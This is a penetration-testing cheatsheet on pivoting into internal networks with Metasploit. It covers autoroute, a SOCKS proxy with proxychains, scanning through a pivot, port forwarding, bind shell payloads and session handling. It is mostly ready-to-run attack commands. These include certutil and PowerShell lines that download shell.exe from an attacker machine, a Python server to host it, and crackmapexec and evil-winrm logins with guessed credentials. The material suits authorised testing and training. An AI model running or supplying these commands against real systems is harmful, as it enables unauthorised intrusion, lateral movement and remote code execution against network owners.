Command Palette

Search for a command to run...

Cheatsheets
PreviousNext

Pivot & Internal Network Access

Autoroute - Layer 3 Pivot via Meterpreter

# From within the pivot host's Meterpreter session:
run autoroute -s 192.168.0.0/24    # Add route to internal network
run autoroute -p                    # Print active routes
background
# Alternative - post module
use post/multi/manage/autoroute
set SESSION <id>
set SUBNET 192.168.0.0
set NETMASK 255.255.255.0
run

SOCKS Proxy

use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a
run -j
# /etc/proxychains4.conf
socks4 127.0.0.1 9050

Note: Do not set Proxies socks4:127.0.0.1:9050 on MSF modules that already use autoroute - the two mechanisms conflict. Use proxychains only for external binaries.

Host Discovery Through Pivot

CommandDescription
use post/multi/gather/ping_sweepICMP ping sweep via Meterpreter (works through autoroute).
set RHOSTS 192.168.0.1-254Target range.
set SESSION <id>Pivot session ID.
use auxiliary/scanner/portscan/tcpTCP port scan through autoroute.

Note: arp_sweep operates at layer 2 and cannot traverse an autoroute tunnel. Always use ping_sweep or portscan/tcp for internal network discovery.

External Tools Through Proxychains

CommandDescription
proxychains nmap -sT -Pn -p 22,80,445,3389,5985,10000 192.168.0.51Nmap TCP connect scan through proxy (must use -sT, not -sS).
proxychains crackmapexec smb 192.168.0.61 -u administrator -p passCME SMB through proxy.
proxychains crackmapexec winrm 192.168.0.61 -u administrator -p passCME WinRM through proxy.
proxychains evil-winrm -i 192.168.0.61 -u administrator -p passevil-winrm through proxy.
proxychains curl http://192.168.0.51:10000/HTTP through proxy.

Port Forwarding - Meterpreter portfwd

CommandDescription
portfwd add -l <local_port> -p <remote_port> -r <remote_IP>Forward local port to remote host:port through pivot.
portfwd add -l 8080 -p 80 -r 192.168.0.51Access internal host port 80 via localhost:8080.
portfwd add -l 10000 -p 10000 -r 192.168.0.51Access internal host Webmin via localhost:10000.
portfwd add -R -l <lport> -p <rport> -L <kali_IP>Reverse port forward - route internal host traffic back to Kali.
portfwd listList active port forwards.
portfwd delete -l <local_port>Remove a specific forward.
portfwd flushRemove all port forwards.

Bind vs. Reverse Payloads

SituationPayload typeWhy
Internal host can reach KaliReverse TCPStandard - target connects back to Kali
Internal host cannot reach Kali (pivot)Bind TCPMetasploit connects to the target through the route
# Bind payload example - Metasploit connects to the target
set payload cmd/unix/bind_perl        # Linux
set payload windows/x64/meterpreter/bind_tcp  # Windows
set LHOST <internal_target_IP>
run

Payload Transfer to Internal Hosts (Windows)

CommandDescription
certutil -urlcache -split -f http://<kali_IP>:8080/shell.exe C:\Windows\Temp\shell.exeDownload payload via certutil (no PowerShell needed).
powershell -c "Invoke-WebRequest http://<kali_IP>:8080/shell.exe -OutFile C:\Temp\shell.exe"Download via PowerShell.
# Serve payload from Kali
python3 -m http.server 8080

Session Management

CommandDescription
sessions -lList all active sessions.
sessions -i <id>Interact with a session.
sessions -u <id>Upgrade a shell to Meterpreter.
sessions -KKill all sessions.